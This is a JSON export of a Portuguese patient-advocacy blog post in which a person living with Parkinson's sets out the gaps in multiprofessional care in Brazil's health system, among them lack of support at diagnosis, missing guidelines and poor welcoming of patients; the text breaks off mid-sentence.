{"id":230,"date":"2022-11-19T16:05:11","date_gmt":"2022-11-19T19:05:11","guid":{"rendered":"https:\/\/www.tenhoparkinson.com.br\/?p=230"},"modified":"2023-02-16T16:06:34","modified_gmt":"2023-02-16T19:06:34","slug":"o-que-falta-na-oferta-de-cuidado-multiprofissional-para-as-pessoas-com-parkinson","status":"publish","type":"post","link":"https:\/\/www.tenhoparkinson.com.br\/?p=230","title":{"rendered":"O que falta na oferta de cuidado multiprofissional para as pessoas com Parkinson?"},"content":{"rendered":"\n<p>Se quiser baixar este texto em pdf clique <a href=\"https:\/\/drive.google.com\/file\/d\/18ZM8yaqc8jiqkrMSJYgjy-Zah9W01amz\/view?usp=share_link\" target=\"_blank\" rel=\"noreferrer noopener\">aqui<\/a><\/p>\n\n\n\n<p><strong>Apresenta\u00e7\u00e3o<\/strong><\/p>\n\n\n\n<p><em>Os conte\u00fados apresentados neste texto s\u00e3o apenas informativos e n\u00e3o se constituem em artigo cient\u00edfico. Seu objetivo, junto com os demais textos dispon\u00edveis no website tenhoparkinson.com.br \u00e9, por meio de uma abordagem introdut\u00f3ria de temas pouco discutidos entre n\u00f3s, contribuir para que possamos entender com mais clareza o contexto da doen\u00e7a de Parkinson (DP). \u00c9 importante ressaltar que n\u00e3o sou profissional da \u00e1rea da sa\u00fade. Portanto, n\u00e3o utilize de forma alguma nenhuma parte do conte\u00fado para automedica\u00e7\u00e3o. Trata-se de um conjunto de informa\u00e7\u00f5es obtidas pela experi\u00eancia e conhecimento adquiridos ao longo de anos com Parkinson e em pesquisas na internet. <\/em><\/p>\n\n\n\n<p>Em comemora\u00e7\u00e3o aos 75 anos do INDC \u2013 Instituto de Neurologia Deolindo Couto o GEDOPA (Grupo de Estudos na doen\u00e7a de Parkinson) realizou no dia 10 de novembro de 2022 o evento\u00a0\u201cO cuidado multiprofissional centrado na pessoa com Parkinson\u201d com o objetivo de promover um debate com a participa\u00e7\u00e3o de especialistas sobre o cuidado multiprofissional na doen\u00e7a de Parkinson. Coube a mim proferir a palestra \u201cO que falta na oferta de cuidado multiprofissional para as pessoas com Parkinson?\u201d. O presente texto objetiva registrar em linhas gerais o conte\u00fado da palestra apresentada. Se quiser assistir a palestra veja em <a href=\"https:\/\/www.instagram.com\/p\/Ckx-cWJIPgt\/\">https:\/\/www.instagram.com\/p\/Ckx-cWJIPgt\/<\/a> \u00a0<\/p>\n\n\n\n<p><strong>Uma vis\u00e3o hol\u00edstica da quest\u00e3o<\/strong><\/p>\n\n\n\n<p>Desde o meu diagn\u00f3stico da DP (Doen\u00e7a de Parkinson), em 2014, j\u00e1 se foram longos oito anos de intensa conviv\u00eancia com dezenas de outras PcP (Pessoas com Parkinson), com diferentes profissionais da sa\u00fade, em diferentes institui\u00e7\u00f5es, especialmente nos seus ambientes de espera e ambulat\u00f3rios, participando de consultas individuais presenciais e \u00e0 dist\u00e2ncia e terapias individuais e coletivas, presenciais e \u00e0 dist\u00e2ncia.<strong><\/strong><\/p>\n\n\n\n<p>Essa conviv\u00eancia associada ao meu desejo de saber cada vez mais sobre a DP e ao vi\u00e9s profissional na \u00e1rea de gest\u00e3o fizeram de mim um observador atento das pr\u00e1ticas e dos processos de acolhimento e das abordagens terap\u00eauticas adotadas para as PcP.<\/p>\n\n\n\n<p>A pergunta \u00e9 muito simples e objetiva: o que falta na oferta dos cuidados multi e interprofissionais para as PcP? A resposta tamb\u00e9m o \u00e9: falta tudo, salvo algumas poucas experi\u00eancias que podem ser consideradas como exce\u00e7\u00f5es.&nbsp;<\/p>\n\n\n\n<p>Olhando para o todo, minha percep\u00e7\u00e3o \u00e9 que realmente ainda falta muito para se considerar que o cuidado multi e interprofissional tenha aplica\u00e7\u00e3o relevante nos tratamentos da DP.<\/p>\n\n\n\n<p>A multidisciplinaridade j\u00e1 foi objeto de an\u00e1lise no texto anterior \u201cO desafio da gest\u00e3o do conhecimento na doen\u00e7a de Parkinson\u201d, dispon\u00edvel aqui no website, o qual recomendamos a leitura. Em resumo, o fato \u00e9 que a DP \u00e9 uma doen\u00e7a com in\u00fameros comprometimentos dos sistemas motores e n\u00e3o-motores com a necessidade de interven\u00e7\u00e3o de diferentes especialidades, da\u00ed a import\u00e2ncia do multiprofissionalismo nos seus processos terap\u00eauticos.<\/p>\n\n\n\n<p>As defini\u00e7\u00f5es que adotamos neste texto para multi e interprofissionalismo seguem o citado no documento \u201cVers\u00e3o em Portugu\u00eas da Diretriz Europeia de Fisioterapia para a Doen\u00e7a de Parkinson &#8211; Desenvolvida por vinte associa\u00e7\u00f5es profissionais europeias e adaptada para Portugu\u00eas Europeu e do Brasil\u201d, conforme a seguir (Tabela 3.4 Modalidades e descri\u00e7\u00e3o dos cuidados integrados; do item 3.4 Reabilita\u00e7\u00e3o; do Cap\u00edtulo 3 Manejo geral dos cuidados da sa\u00fade para a doen\u00e7a de Parkinson):<\/p>\n\n\n\n<p>Cuidado multidisciplinar: o paciente passar\u00e1 por v\u00e1rios profissionais da sa\u00fade dentro de uma equipe que trabalham independentemente, em paralelo e de maneira n\u00e3o colaborativa; cada profissional \u00e9 respons\u00e1vel por uma necessidade de cuidado diferente do paciente.<\/p>\n\n\n\n<p>Cuidado interdisciplinar: mais centrado na pessoa; objetivos desenvolvidos e manejados por uma equipe de profissionais da sa\u00fade junto com o paciente; comunica\u00e7\u00e3o aberta e cont\u00ednua entre o paciente e todos os profissionais envolvidos.<\/p>\n\n\n\n<p>Evidentemente existem situa\u00e7\u00f5es de interface das duas estrat\u00e9gias nas quais o cuidado pode ser entendido como multi ou inter. O foco da aten\u00e7\u00e3o que conduziu \u00e0s an\u00e1lises realizadas e orientou minhas conclus\u00f5es levou em considera\u00e7\u00e3o essa realidade, da\u00ed a refer\u00eancia no texto \u00e0 condi\u00e7\u00e3o \u201cmulti ou interprofissional\u201d.<\/p>\n\n\n\n<p><strong>Buscando as respostas<\/strong><\/p>\n\n\n\n<p>Precisamos entender o que falta e por que falta.<\/p>\n\n\n\n<p>Vejo cinco restri\u00e7\u00f5es relevantes que contribuem como causas b\u00e1sicas para isso:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>falta de apoio no diagn\u00f3stico;<\/li>\n\n\n\n<li>falta de diretrizes e padr\u00f5es aplic\u00e1veis aos cuidados multi e interprofissionais;<\/li>\n\n\n\n<li>falta de flexibilidade e adaptabilidade na gest\u00e3o e na opera\u00e7\u00e3o;<\/li>\n\n\n\n<li>falta de compromisso das PcP com a informa\u00e7\u00e3o e o tratamento;<\/li>\n\n\n\n<li>falta de acolhimento.<\/li>\n<\/ul>\n\n\n\n<p>Chamo a aten\u00e7\u00e3o para uma situa\u00e7\u00e3o cr\u00edtica que, dependendo do ponto de vista do observador, pode ser causa b\u00e1sica ou consequ\u00eancia, que \u00e9 o comportamento das PcP ap\u00f3s receberem seu diagn\u00f3stico.<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Posts<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Alternar tabela de conte\u00fado\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=230\/#Falta_de_apoio_no_diagnostico\" >Falta de apoio no diagn\u00f3stico<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=230\/#Falta_de_diretrizes_e_padroes\" >Falta de diretrizes e padr\u00f5es<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=230\/#Falta_de_flexibilidade_na_gestao_e_operacao\" >Falta de flexibilidade na gest\u00e3o e opera\u00e7\u00e3o<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=230\/#Falta_de_compromisso_das_PcP\" >Falta de compromisso das PcP<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=230\/#Falta_de_acolhimento\" >Falta de acolhimento<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=230\/#Conclusoes\" >Conclus\u00f5es<\/a><\/li><\/ul><\/nav><\/div>\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Falta_de_apoio_no_diagnostico\"><\/span>Falta de apoio no diagn\u00f3stico<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>As altera\u00e7\u00f5es do comportamento das PcP ap\u00f3s receberem seu diagn\u00f3stico s\u00e3o um fator extremamente importante para o cuidado multi e interprofissional. Muito mais do que se possa imaginar, os transtornos do humor, como a ansiedade, a apatia e, principalmente, a depress\u00e3o se instalam e corroem o equil\u00edbrio emocional da PcP, levando-a inclusive a considerar o suic\u00eddio como solu\u00e7\u00e3o para sua ang\u00fastia e sofrimento.<\/p>\n\n\n\n<p>Para a maioria das PcP que conhe\u00e7o, a not\u00edcia do diagn\u00f3stico foi dada sem nenhum preparo ou apoio posterior que objetivasse a mitiga\u00e7\u00e3o de seus efeitos nessas pessoas. Algumas dessas pessoas, meses e anos depois do diagn\u00f3stico ainda adotam comportamentos evasivos e \u00e0s vezes at\u00e9 sigilosos em rela\u00e7\u00e3o \u00e0 doen\u00e7a.<\/p>\n\n\n\n<p>O testemunho apresentado por v\u00e1rias PcP revela a dimens\u00e3o do impacto emocional no momento do diagn\u00f3stico, que poder\u00e1 ser amenizado com o cuidado multi ou interprofissional e com os apoios da fam\u00edlia, de amigos e terapeutas. Na apresenta\u00e7\u00e3o feita no evento, tivemos um testemunho feito por um m\u00e9dico que apesar de sua forma\u00e7\u00e3o e entendimento do problema n\u00e3o resistiu \u00e0 for\u00e7a devastadora do diagn\u00f3stico. Esses sinais que descrevemos resumidamente mostram o qu\u00e3o importante \u00e9 o cuidado multi ou interdisciplinar no tratamento da DP, especialmente o apoio terap\u00eautico psicol\u00f3gico.<\/p>\n\n\n\n<p>Entendo que a exist\u00eancia de um protocolo de apoio psicol\u00f3gico para PcP que receberam o diagn\u00f3stico da DP, faria uma grande diferen\u00e7a para a sua sa\u00fade mental.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Falta_de_diretrizes_e_padroes\"><\/span>Falta de diretrizes e padr\u00f5es<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>As restri\u00e7\u00f5es de ordem institucional s\u00e3o aquelas relacionadas com os processos, protocolos e pr\u00e1ticas que d\u00e3o <strong>abrang\u00eancia<\/strong><strong> (<\/strong>possibilidade de utiliza\u00e7\u00e3o em n\u00edvel nacional), <strong>estabilidade<\/strong> (resultados semelhantes em situa\u00e7\u00f5es diversas) e <strong>homogeneidade<\/strong> (m\u00e9todos \u00fanicos para determinadas terapias \u2013 influ\u00eancia na cultura organizacional) \u00e0 opera\u00e7\u00e3o e definem sua compet\u00eancia no exerc\u00edcio de suas atribui\u00e7\u00f5es. Os poucos padr\u00f5es de opera\u00e7\u00e3o dos cuidados multi e interprofissionais ainda carecem de estabilidade ao longo do tempo para demonstrar valor por si pr\u00f3prios e se incorporarem \u00e0s pr\u00e1ticas terap\u00eauticas do SUS.<\/p>\n\n\n\n<p>Todos sabemos que a padroniza\u00e7\u00e3o de procedimentos e infraestrutura de opera\u00e7\u00e3o pode acarretar diminui\u00e7\u00e3o de custos e melhoria na qualidade nas mais diversas \u00e1reas de presta\u00e7\u00e3o de servi\u00e7os e n\u00e3o poderia ser diferente na \u00e1rea da sa\u00fade.&nbsp; A elabora\u00e7\u00e3o de um plano nacional para organizar e orientar a oferta desses cuidados \u00e9 necess\u00e1ria pois existem dificuldades que precisam ser vencidas com abordagem sist\u00eamica para o pleno atendimento \u00e0s PcP, bem como \u00e0s demais doen\u00e7as neurol\u00f3gicas. Aspectos como disponibilidade de profissionais, capilaridade da oferta, estrutura f\u00edsica para os atendimentos, capacita\u00e7\u00e3o de equipes, forma\u00e7\u00e3o de lideran\u00e7as, dentre outros, devem ser considerados al\u00e9m dos protocolos cl\u00ednicos e diretrizes terap\u00eauticas.<\/p>\n\n\n\n<p>Por tudo isso, a abordagem multi ou interprofissional \u00e9 dependente da cultura organizacional e de sua gest\u00e3o. Institui\u00e7\u00f5es que valorizam a lideran\u00e7a proativa e empreendedora, a inova\u00e7\u00e3o, o compartilhamento do conhecimento, o reconhecimento do m\u00e9rito, a criatividade, a maturidade de discutir os problemas de forma transparente, dentre outras caracter\u00edsticas, s\u00e3o aquelas nas quais o multi ou interprofissionalismo ter\u00e1 mais condi\u00e7\u00f5es de prosperar. Sabemos que muitas das nossas institui\u00e7\u00f5es da sa\u00fade t\u00eam dificuldades nesses requisitos associados \u00e0 cultura e \u00e0 gest\u00e3o.<\/p>\n\n\n\n<p>O cuidado multiprofissional \u00e9 tratado no \u00e2mbito da SAPS (Secretaria de Aten\u00e7\u00e3o Prim\u00e1ria \u00e0 Sa\u00fade), dentro do programa ESF (Estrat\u00e9gia Sa\u00fade da Fam\u00edlia) considerado priorit\u00e1rio para a consolida\u00e7\u00e3o e a amplia\u00e7\u00e3o da cobertura da APS (Aten\u00e7\u00e3o Prim\u00e1ria \u00e0 Sa\u00fade) no pa\u00eds. A ESF \u00e9 desenvolvida por meio de pr\u00e1ticas de cuidado integrado e conduzida por <strong>equipe multiprofissional<\/strong> (o grifo \u00e9 meu), que assume responsabilidade sanit\u00e1ria local.\u00a0As equipes dessa estrat\u00e9gia s\u00e3o compostas, no m\u00ednimo, pelo profissional m\u00e9dico e enfermeiro, preferencialmente especialistas em sa\u00fade da fam\u00edlia; pelo auxiliar e\/ou t\u00e9cnico de enfermagem e pelo agente comunit\u00e1rio de sa\u00fade (ACS). Tamb\u00e9m podem fazer parte da equipe o agente de combate \u00e0s endemias (ACE) e os seguintes profissionais de sa\u00fade bucal: cirurgi\u00e3o-dentista, preferencialmente especialista em sa\u00fade da fam\u00edlia, e auxiliar ou t\u00e9cnico em sa\u00fade bucal, os quais comp\u00f5em as equipes de Sa\u00fade Bucal (eSB).\u00a0Essas equipes atuam em Unidades B\u00e1sicas de Sa\u00fade (UBS), em articula\u00e7\u00e3o com os demais servi\u00e7os de sa\u00fade da rede de aten\u00e7\u00e3o.<\/p>\n\n\n\n<p>\u00c9 um grande avan\u00e7o cujo modelo pode nuclear uma a\u00e7\u00e3o sist\u00eamica voltada para as PcP, mas que na configura\u00e7\u00e3o atual n\u00e3o atende aos objetivos de nosso grupo, cujas demandas s\u00e3o mais abrangentes (psicologia, gastroenterologia, fisioterapia, dentre outros).<\/p>\n\n\n\n<p>N\u00e3o podemos esquecer da possibilidade de participa\u00e7\u00e3o nas equipes dos cuidados multiprofissionais de terapeutas das PICS (Pr\u00e1ticas Integrativas Complementares em Sa\u00fade), transversais em suas a\u00e7\u00f5es no SUS e que podem estar presentes em pontos da Rede de Aten\u00e7\u00e3o \u00e0 Sa\u00fade, prioritariamente na Aten\u00e7\u00e3o Prim\u00e1ria. Atualmente (novembro de 2022) s\u00e3o 29 as PICS que constam da rela\u00e7\u00e3o do SUS (mais informa\u00e7\u00f5es sobre as PICS veja no link <a href=\"https:\/\/aps.saude.gov.br\/ape\/pics\/praticasintegrativas\">https:\/\/aps.saude.gov.br\/ape\/pics\/praticasintegrativas<\/a>\u00a0(\u00faltimo acesso 11 de novembro de 2022).<\/p>\n\n\n\n<p>Ainda sobre a exist\u00eancia e utiliza\u00e7\u00e3o intensiva de diretrizes e padr\u00f5es de opera\u00e7\u00e3o, cabe citar tr\u00eas documentos importantes: o primeiro foi institu\u00eddo em 2017, por meio de portaria conjunta das Secretarias de Aten\u00e7\u00e3o Prim\u00e1ria \u00e0 Sa\u00fade e de Ci\u00eancia e Tecnologia e Insumos Estrat\u00e9gicos. Trata-se do documento \u201c<strong>Protocolos Cl\u00ednicos e Diretrizes Terap\u00eauticas para a DP &#8211; PCDT\u201d, que <\/strong>estabelece crit\u00e9rios para o diagn\u00f3stico da doen\u00e7a; o tratamento preconizado, com os medicamentos e demais produtos apropriados, quando couber; as posologias recomendadas; os mecanismos de controle cl\u00ednico; e o acompanhamento e a verifica\u00e7\u00e3o dos resultados terap\u00eauticos, a serem seguidos pelos gestores do SUS. Tal como PCDT de outras doen\u00e7as, foi constru\u00eddo baseado em evid\u00eancias cient\u00edficas e crit\u00e9rios de efic\u00e1cia, seguran\u00e7a, efetividade e custo-efetividade das tecnologias recomendadas. Sua elabora\u00e7\u00e3o \u00e9 responsabilidade da CONITEC &#8211; Comiss\u00e3o Nacional de Incorpora\u00e7\u00e3o de Tecnologias no SUS &#8211; Sistema \u00danico de Sa\u00fade.<\/p>\n\n\n\n<p>Um documento muito importante que, no entanto, aborda somente as diretrizes terap\u00eauticas que se aplicam aos medicamentos, sem nenhuma men\u00e7\u00e3o aos nossos necess\u00e1rios cuidados multiprofissionais. No meu entendimento \u00e9 um documento incompleto, j\u00e1 que n\u00e3o cita as terapias multi ou interprofissionais. Apesar de j\u00e1 ter ouvido argumenta\u00e7\u00f5es de que os PCDT se aplicam somente \u00e0s tecnologias utilizadas, entendo que no caso da DP os cuidados multiprofissionais n\u00e3o fogem a esse crit\u00e9rio.<\/p>\n\n\n\n<p>Tenho not\u00edcias que uma revis\u00e3o do PDCT \u2013 DP j\u00e1 foi encaminhada \u00e0 CONITEC para compor a lista de PCDT em revis\u00e3o.<\/p>\n\n\n\n<p>O segundo documento \u00e9 a \u201cVers\u00e3o em Portugu\u00eas da Diretriz Europeia de Fisioterapia para a Doen\u00e7a de Parkinson &#8211; Desenvolvida por vinte associa\u00e7\u00f5es profissionais europeias e adaptada para Portugu\u00eas Europeu e do Brasil\u201d. Documento extenso e abrangente focado nas pr\u00e1ticas de fisioterapia. Recomendo fortemente sua leitura.<\/p>\n\n\n\n<p>E finalmente nesse contexto, um exemplo merit\u00f3rio a ser citado \u00e9 a iniciativa da Secretaria Estadual de Sa\u00fade do Rio Grande do Sul (SE\/RS) que lan\u00e7ou em julho do corrente ano (2022) uma nota t\u00e9cnica com recomenda\u00e7\u00f5es da Secretaria Estadual da Sa\u00fade (SES\/RS) aos munic\u00edpios para organiza\u00e7\u00e3o, qualifica\u00e7\u00e3o e fortalecimento do cuidado com a DP na rede de aten\u00e7\u00e3o \u00e0 sa\u00fade do estado do Rio Grande do Sul. Veja no link o texto completo da referida nota t\u00e9cnica:<\/p>\n\n\n\n<p><a href=\"https:\/\/atencaobasica.saude.rs.gov.br\/upload\/arquivos\/202207\/21091932-nt-parkinson-final.pdf\">https:\/\/atencaobasica.saude.rs.gov.br\/upload\/arquivos\/202207\/21091932-nt-parkinson-final.pdf<\/a><\/p>\n\n\n\n<p>Apesar do m\u00e9rito da iniciativa, h\u00e1 o risco de v\u00e1rios estados criarem seus pr\u00f3prios manuais, o que poderia gerar uma \u201ccolcha de retalhos\u2019 em n\u00edvel nacional.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Falta_de_flexibilidade_na_gestao_e_operacao\"><\/span>Falta de flexibilidade na gest\u00e3o e opera\u00e7\u00e3o<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>E do ponto de vista da gest\u00e3o e da opera\u00e7\u00e3o, da pr\u00e1tica do cuidado permanente (produ\u00e7\u00e3o de sa\u00fade)? A resposta a essa pergunta n\u00e3o \u00e9 simples pois al\u00e9m de ser influenciada pela falta de diretrizes e orienta\u00e7\u00f5es, depende da capacidade da institui\u00e7\u00e3o da sa\u00fade considerada.<\/p>\n\n\n\n<p>As diferen\u00e7as da qualidade da oferta do cuidado entre algumas institui\u00e7\u00f5es s\u00e3o muito grandes e n\u00e3o seria exagero dizer que para algumas delas a resposta poderia ser \u201cfalta quase tudo\u201d, enquanto para outras \u201cfaltam pequenos ajustes de ordem operacional\u201d.<\/p>\n\n\n\n<p>O cuidado existe em fun\u00e7\u00e3o de uma necessidade do indiv\u00edduo. Atender essa necessidade de forma afetuosa (pela via do acolhimento) e plena (pela via da integralidade) \u00e9 um grande desafio para os profissionais da sa\u00fade.<\/p>\n\n\n\n<p>Por outro lado, para n\u00f3s PcP, essas s\u00e3o as duas queixas mais relevantes. Queixas no sentido de percebermos a necessidade e n\u00e3o vermos uma evolu\u00e7\u00e3o na sua oferta.<\/p>\n\n\n\n<p>Desafio de um lado, queixa do outro, o fato \u00e9 que o problema est\u00e1 colocado \u00e0 espera de lideran\u00e7as que fa\u00e7am diferen\u00e7a no seu enfrentamento.<\/p>\n\n\n\n<p>A <strong>integralidade<\/strong> contempla a vis\u00e3o do ser humano como um todo, um indiv\u00edduo biopsicossocial que demanda cuidados dos profissionais da sa\u00fade e de si pr\u00f3prio.<\/p>\n\n\n\n<p>O tratamento da DP, como sabemos, \u00e9 de base medicamentosa e de terapias espec\u00edficas nas \u00e1reas de Fisioterapia, Terapia Ocupacional, Fonoaudiologia, Psicologia dentre outras. A forma\u00e7\u00e3o e opera\u00e7\u00e3o de grupos de clientes para a pr\u00e1tica de terapias diversas, presenciais ou <em>on-line<\/em> vem crescendo e beneficiando dezenas de PcP. No entanto, al\u00e9m dos requisitos j\u00e1 mencionados sobre acolhimento, existem algumas restri\u00e7\u00f5es para a plena utiliza\u00e7\u00e3o do cuidado multi ou interdisciplinar nas PcP. Com os crit\u00e9rios atuais do SISREG (Sistema Nacional de Regula\u00e7\u00e3o), torna-se dif\u00edcil compor grupos de terapia pela internet para o apoio diagn\u00f3stico e objetivando garantir prioridade para os que necessitam de agilidade diagn\u00f3stica ou terap\u00eautica.<\/p>\n\n\n\n<p>O cuidado multi ou interprofissional pode ser entendido como aquele que faz uso de um conjunto de pr\u00e1ticas e conhecimentos de diferentes profiss\u00f5es da sa\u00fade visando dar ao paciente uma solu\u00e7\u00e3o integral e afetuosa de seu problema. Trata-se de uma estrat\u00e9gia viabilizada por equipes constitu\u00eddas por profissionais de diferentes \u00e1reas, que demandam recursos diversos, especialmente o tempo, e uma gest\u00e3o diferenciada. Durante o processo do cuidado, estas \u00e1reas trocam conhecimentos, debatem e abrem novas perspectivas de solu\u00e7\u00e3o dos casos em an\u00e1lise. Isto as coloca em um c\u00edrculo virtuoso que amplia seus conhecimentos e abre novas possibilidades de coopera\u00e7\u00e3o. Portanto, para a gest\u00e3o desse tipo de equipe \u00e9 indispens\u00e1vel que se avalie n\u00e3o s\u00f3 o conhecimento que esses profissionais possuem, como tamb\u00e9m suas atitudes e comportamentos. Curiosamente, o trabalho em equipe \u00e9 relativamente pouco citado na literatura (segundo meus padr\u00f5es de pesquisa).<\/p>\n\n\n\n<p>Mas o que ocorre na realidade \u00e9 um pouco diferente. Os profissionais da sa\u00fade das Unidades de Aten\u00e7\u00e3o Prim\u00e1ria, diante de suas demandas cotidianas n\u00e3o colocam em suas prioridades uma disponibilidade de tempo para dedicarem-se \u00e0s discuss\u00f5es do que \u00e9 e de como implantar uma estrat\u00e9gia de cuidado multi ou interprofissional, apesar de, quando questionados sobre tal procedimento, reconhecerem que seria muito bom se fosse poss\u00edvel.&nbsp;<\/p>\n\n\n\n<p>Para a din\u00e2mica do cuidado multi ou interprofissional \u00e9 preciso ter muito claro que trabalhar em equipe \u00e9 mais do que agregar bons profissionais de diferentes \u00e1reas de conhecimento. \u00c9 necess\u00e1rio que a composi\u00e7\u00e3o quantitativa e qualitativa da equipe seja definida em fun\u00e7\u00e3o de seus objetivos e recursos dispon\u00edveis relacionados aos cuidados em quest\u00e3o, cuja gest\u00e3o deve levar em considera\u00e7\u00e3o as inevit\u00e1veis situa\u00e7\u00f5es de exerc\u00edcio de poder nas rela\u00e7\u00f5es hier\u00e1rquicas entre os profissionais da sa\u00fade. &nbsp;S\u00f3 existe equipe quando todos conhecem os objetivos, est\u00e3o cientes da necessidade de alcan\u00e7\u00e1-los e desenvolvem uma vis\u00e3o cr\u00edtica a respeito do desempenho do grupo.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Falta_de_compromisso_das_PcP\"><\/span>Falta de compromisso das PcP<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>N\u00f3s clientes das institui\u00e7\u00f5es da sa\u00fade temos uma parcela de responsabilidade na efetividade do cuidado recebido. Um dos seis princ\u00edpios do SUS \u00e9 exatamente \u201cTodo cidad\u00e3o tamb\u00e9m tem responsabilidades para que seu tratamento aconte\u00e7a da forma adequada\u201d. A complexidade da DP e de seus m\u00faltiplos efeitos exige das PcP e seus familiares uma constante aten\u00e7\u00e3o aos seus sintomas, cujas mudan\u00e7as devem ser relatadas aos profissionais que os acompanham. Para isso precisam de informa\u00e7\u00e3o sobre a doen\u00e7a e sobre os efeitos das terapias utilizadas, o que n\u00e3o \u00e9 comum entre as PcP, sendo este um fator limitador da interlocu\u00e7\u00e3o entre as duas partes, clientes e profissionais. Esses \u00faltimos por sua vez devem dedicar especial aten\u00e7\u00e3o para ouvir atentamente os sintomas relatados e buscar o melhor diagn\u00f3stico da evolu\u00e7\u00e3o da doen\u00e7a, fazendo os ajustes necess\u00e1rios na medica\u00e7\u00e3o e nas terapias. Essa corresponsabilidade entre o profissional e o cliente nem sempre \u00e9 entendida e pelo que percebo \u00e9 pouco praticada. Uma evid\u00eancia dessa situa\u00e7\u00e3o \u00e9 o baixo n\u00edvel de ades\u00e3o e alto n\u00edvel de absente\u00edsmo de PcP em programas com terapias em grupo ou atividades diversas de seu interesse. \u00c9 fato que muitas PcP demonstram desconhecimento do que \u00e9 e de como se manifesta a doen\u00e7a.<\/p>\n\n\n\n<p>Um ponto de destaque \u00e9 o documento denominado TER \u2013 Termo de Esclarecimento e Responsabilidade, que atende \u00e0 cientifica\u00e7\u00e3o obrigat\u00f3ria do paciente ou de seu respons\u00e1vel legal, dos potenciais riscos e efeitos colaterais relacionados ao uso de procedimento ou medicamento preconizados para o tratamento da DP. Resta saber se \u00e9 utilizado de fato ou se \u00e9 mais um procedimento burocr\u00e1tico e in\u00f3cuo.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Falta_de_acolhimento\"><\/span>Falta de acolhimento<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>O <strong>acolhimento<\/strong> \u00e9 a base do sistema, \u00e9 o diferencial que define a forma de relacionamento da institui\u00e7\u00e3o com o cliente. \u00c9 o acolhimento que far\u00e1 com que se estabele\u00e7am la\u00e7os de confian\u00e7a com a equipe multiprofissional, inclusive com a pr\u00e1tica da corresponsabilidade no cuidado.<\/p>\n\n\n\n<p>O acolhimento \u00e9, para muitos, normalmente entendido como o atendimento realizado na \u201clinha de frente\u201d, comumente chamado de recep\u00e7\u00e3o. Na realidade ele envolve pr\u00e1ticas muito mais abrangentes que a recep\u00e7\u00e3o dos clientes, com conte\u00fado emocional e afetivo que demonstram a verdadeira vontade de contribuir para atender a necessidade do outro, ouvindo e encaminhando demandas, prestando atendimentos necess\u00e1rios na produ\u00e7\u00e3o de sa\u00fade, estabelecendo articula\u00e7\u00f5es para o cuidado multi ou interdisciplinar e orientando pacientes e familiares segundo suas necessidades.<\/p>\n\n\n\n<p>A materializa\u00e7\u00e3o desse conceito, por mais extensiva que seja, ainda n\u00e3o \u00e9 praticada a ponto de ser percebida claramente pelas PcP, da\u00ed ser vista como uma ilus\u00e3o, refor\u00e7ada por pol\u00edticas e diretrizes que apesar de inspiradoras carecem de v\u00ednculos com a realidade, como um dos seis princ\u00edpios b\u00e1sicos do SUS que diz que: \u201cTodo cidad\u00e3o tem direito ao atendimento humanizado, acolhedor e livre de qualquer discrimina\u00e7\u00e3o\u201d.<\/p>\n\n\n\n<p>A oferta de cuidados 